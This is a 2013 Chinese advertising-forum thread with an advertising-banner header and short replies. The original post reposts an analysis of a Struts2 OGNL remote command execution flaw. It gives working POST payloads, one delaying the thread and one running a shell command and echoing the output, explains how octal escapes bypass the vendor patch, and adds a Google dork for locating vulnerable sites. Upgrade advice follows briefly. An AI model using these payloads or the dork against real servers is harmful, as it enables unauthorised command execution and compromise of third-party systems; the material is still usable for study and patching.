AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

Binom
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G⚡️最干净<Wifi住宅+5G移动>IP代理指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利广告开户独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户百度国际MediaGo⚡️让产品狂奔全球百度国际,高点击转化,快速放量百度国际MediaGo,独家原生流量
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户一手BM分享户不限额9Proxy ⚡️ $0.04/IP, 无限带宽
FB二三解0.1元一个虚拟卡|PTM星际卡FB专用虚拟卡Google、Bing官方总代  联盟流量开户
fb耐用号0.01一个fb账号官方合作商搜索套利开户❤️Bigo/Kwai/MediagoFB资源,账单户,分享户,国内一手
广告位出租   
查看: 5982|回复: 5

struts2 最新漏洞通杀struts2所有版本

[复制链接]

90

主题

633

广告币

1050

积分

版主

Rank: 7Rank: 7Rank: 7

积分
1050

社区QQ达人

发表于 2013-7-17 17:07:19 | 显示全部楼层 |阅读模式
已有很多政府站沦陷了

Struts 2是在struts 和WebWork的技术基础上进行了合并的全新的框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品.

近期Struts2爆发了一远程命令执行漏洞,,各种版本的漏洞利用工具让CNVD非常的蛋疼.下面贴出 livers大大针对此漏洞的分析.
以POST的方式提交绕过对输入参数的部分过滤。
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
实现交互的shell.
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\[email protected]@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\[email protected]@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

\75 (=的8进制)\40(空格的8进制)ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。
这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
[email protected]@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“ls -l” 定义我们的执行命令的变量
[email protected]@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流(post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
Struts2漏洞修复方案:
下载最新的版本2.3.4:http://struts.apache.org/download.cgi#struts234
或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。

谷歌关键字:
  1. inurl:common/common_info.action?wid=
复制代码
网络上也有漏洞利用工具,有兴趣的童鞋自己去找吧。
  1. http://zone.wooyun.org/content/5159
复制代码
相关帖子
Action
回复

使用道具 举报

1

主题

90

广告币

494

积分

中级会员

Rank: 3Rank: 3

积分
494

社区QQ达人

发表于 2013-7-17 20:18:50 | 显示全部楼层
看来波及的范围比较广,影响还是不小的
回复 支持 反对

使用道具 举报

69

主题

8635

广告币

8505

积分

版主

Rank: 7Rank: 7Rank: 7

积分
8505

社区QQ达人

发表于 2013-7-17 21:02:55 | 显示全部楼层
楼主做网络安全的?
回复 支持 反对

使用道具 举报

90

主题

633

广告币

1050

积分

版主

Rank: 7Rank: 7Rank: 7

积分
1050

社区QQ达人

 楼主| 发表于 2013-7-18 08:02:00 | 显示全部楼层
blackhat 发表于 2013-7-17 21:02
楼主做网络安全的?

非也,刚好看到了,就把他发出来。
Action
回复 支持 反对

使用道具 举报

18

主题

877

广告币

1059

积分

中级会员

Rank: 3Rank: 3

积分
1059

社区QQ达人

发表于 2013-7-18 15:18:59 | 显示全部楼层
国内的主流大站都被检测出来存在此漏洞
回复 支持 反对

使用道具 举报

0

主题

18

广告币

27

积分

初级会员

Rank: 2

积分
27

社区QQ达人

发表于 2013-7-19 21:41:48 | 显示全部楼层
昨天乌云都被刷屏了。佩服那些 白帽子。。。。。。。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2024-12-12 05:13 , Processed in 0.046249 second(s), 14 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表